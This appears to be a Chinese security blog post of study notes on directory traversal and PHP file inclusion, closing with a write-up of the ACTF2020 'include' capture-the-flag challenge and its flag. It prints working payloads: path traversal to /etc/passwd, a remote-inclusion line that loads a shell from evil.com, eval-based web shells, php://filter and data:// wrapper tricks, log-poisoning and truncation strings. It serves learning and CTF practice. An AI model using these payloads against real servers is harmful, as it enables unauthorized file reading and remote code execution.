目录穿越&文件包含漏洞

原理很简单的漏洞吧,主要就是各种绕过+组合

目录穿越

eg:
https://www.*****.com/loadImage?filename=../../../etc/passwd
filename的参数值与真实路径组合起来就是:
/var/www/images/../../../etc/passwd
其等价于:
/etc/passwd
../:上一级目录;./:当前目录;/:根目录

可能出现的情况

比如前端是这么写的:

1
<img src="/loadImage?filename=214.png">

绕过过滤

绝对路径绕过

web网站有时候会采取目录遍历的防御措施,如过滤 ../ 上一级等关键字,可以试试绝对路径绕过,无须../返回上一级目录遍历:filename=/etc/passwd
至于/etc/passwd,是linux常见目录…

双写../绕过

若防御措施是把关键词替换为空(我觉得这种概率很小),可以采用双写绕过

url编码绕过

. => %2e
/ => %2f
% => %25 (双重URL编码)

nginx绕过

参考链接: https://blog.csdn.net/weixin_42586723/article/details/122944781
大概: Nginx在nginx.conf文件配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞
eg:

1
https://example.com/files../

原理:

1
2
3
4
5
6
location /files {
autoindex on;
alias /home/;
}
会造成目录穿越,应把/files改成/fiels/
(我有个问题昂,就是如果改成/files/,那我payload就8能换成https://example.com/files/../ 吗)

UNC绕过

payload:

1
\\localhost\c$\windows\win.ini

UNC(Universal Naming Convention): 通用命名规则
C:\WINDOWS\Win.ini: 该文件为重要的系统文件。默认保存在C:\Windows\win.ini(相同目录下还有system.ini),里面的内容大概长这样:

1
2
3
4
5
6
7
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

文件包含

原理

由于语言特性,该漏洞在php里居多,在jsp、asp里很少,所以主要讨论php里的
举个常见的文件包含漏洞的形式:

1
<?php include("inc/" . $_GET['file']); ?>

通过这个漏洞,可以执行或显示php代码,为此可以与文件上传、文件写入等漏洞配合

分类

PHP中的文件包含分为本地文件包含和远程文件包含

LFI

本地文件包含 Local File Include (LFI)
所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。

RFI

远程文件包含 Remote File Include (RFI)
如果要使用远程包含功能,首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。
远程包含与本地包含没有区别,无非是支持远程加载,更容易getshell,但是一般遇8到…

1
如果支持远程文件包含,那么直接http://127.0.0.1:9999/index.php?file=http://evil.com/shell.php 即可get shell

文件包含函数

4个
include:找不到被包含的文件时只会产生警告,脚本将继续执行。
include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require:找不到被包含的文件时会产生致命错误,并停止脚本。
require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

使用php封装协议读取

正常情况下,包含php文件只会执行其中的代码,但如果我们想获取到php文件的源码,如config.php,那么我们可以通过封装协议php://filter来读取
http://localhost/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png

php://input
利用条件: 需要开启allow_url_include=on,对allow_url_fopen不做要求
大概就是Get传参时写?file=php://input
然后用Post传参(或者直接改包),像这样:

data伪协议读取文件,要求 allow_url_include=On:

1
2
?file=data://text/plain;base64,c2gxdC5waHA=
?page=data://text/plain,<?php @eval($_POST['pass']);?>

LFI+文件上传getshell

1
2
3
4
先文件上传1个木马如: <?php @eval($_GET['shell']);?>
然后进行利用:
http://localhost/index.php?file=shell.png&shell=phpinfo();
这里我有个问题: 既然都上传了,那为啥不直接用蚁剑连呢?

LFI+日志注入getshell

日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,就可以将恶意的php代码写入到日志中,然后再通过文件包含漏洞执行相关的代码

1
2
实际操作起来简单的8可思议,比如访问 http://localhost/index.php?file=shell.png&test=<?php @eval($_GET['shell']);?> 
然后它就会被记录到日志文件,然后我们只要包含这个日志文件,就可以执行代码了.....(8会出现语法错误什么的吗...)

日志默认路径:
tomcat: /usr/local/tomcat/logs/localhost_access_log.2020-09-21.txt
apache+linux: /var/log/apache2/access.log/var/log/httpd/access.log/etc/httpd/logs/access.log
nginx: /var/log/nginx/access.log/usr/local/nginx/logs/access.log

LFI+/proc/self/environ getshell

在linux中,如果php以cgi方式运行(啥是cgi捏,建议学好网络通信基础),那么/proc/self/environ目录中会包含请求头中的UA(User-Agent)信息,那么这个User-Agent自然可以是木马啦,然后就能getshell了(我次奥,这么随意的吗)
具体操作: 抓包,改包:
GET lfi.php?file=../../../../../../proc/self/environ HTTP/1.1
User-Agent:
比如上述信息在发送后就可以显示phpinfo,次奥….

LFI+Session getshell

首先,通过phpinfo()可以知道session的目录
如果没法phpinfo也可以猜一猜…
常见session存放目录:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

向session传入恶意代码的方式有这些:
.
.
.
有个P! 还得是php源码里写了类似下面的东西,session才能被你控制,可谓是非常的鸡肋…..

1
2
3
4
5
<?php
session_start();
$cmdback=$_GET['cmdback'];
$_SESSION["hack"]=$cmdback;
?>

后缀限制-截断绕过

常规截断

要求:
php版本小于5.3.4
magic_quotes_gpc为off状态

若限制了后缀名,则需要通过截断访问: index.php?file=../../flag.php%00
%00 会被解析为0x00,导致截断的发生

路径长度截断

文件路径是有最大长度限制的,为此可以通过填充垃圾字符来截断最后一部分
比如magic_quotes_gpc为on状态时,会把%00前加\转义掉: flag.php\0
条件:
php版本小于5.3.4

windows 259个bytes
linux 4096个bytes

1
2
3
4
5
6
比如win下: 
file=../../flag.php..............................................................................................................................................................................................................................................
或者:
file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
file=../../flag1.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
(文件长度偶数时用2,奇数时用3,自己慢慢悟吧...)

使用截断的时候根据具体情况使用不同截断方法,遇到奇偶问题的时候可以丢一串很长的./到URL后面然后再调整第一个字符。一般来说%00就足够了,当%00不行时再尝试./的组合

实战

include ACTF2020

进入页面发现只有一个按钮,点击后发现是这样传播: http://c9a0e041-1a9e-420b-b1f9-8eba8ff3a35b.node4.buuoj.cn:81/?file=flag.php

于是联想到文件包含漏洞,构造: /?file=php://filter/read=convert.base64-encode/resource=index.php
有回显,base64转码得index.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!'); // stristr: 返回查找的字符串+后面剩余字符串,总之就是检测
}
if($file){
include($file); //
}else{
echo '<a href="?file=flag.php">tips</a>'; //flag.php
}
?>

再试试同样的方法查看flag.php:

1
2
3
<?php
echo "Can you find out the flag?";
//flag{f6ca3992-6f08-4c09-b7e9-9d70e8c1d702}

目录穿越&文件包含漏洞
https://bl4zygao.github.io/2021/11/19/目录穿越&文件包含漏洞/
Author
bl4zy
Posted on
November 19, 2021
Licensed under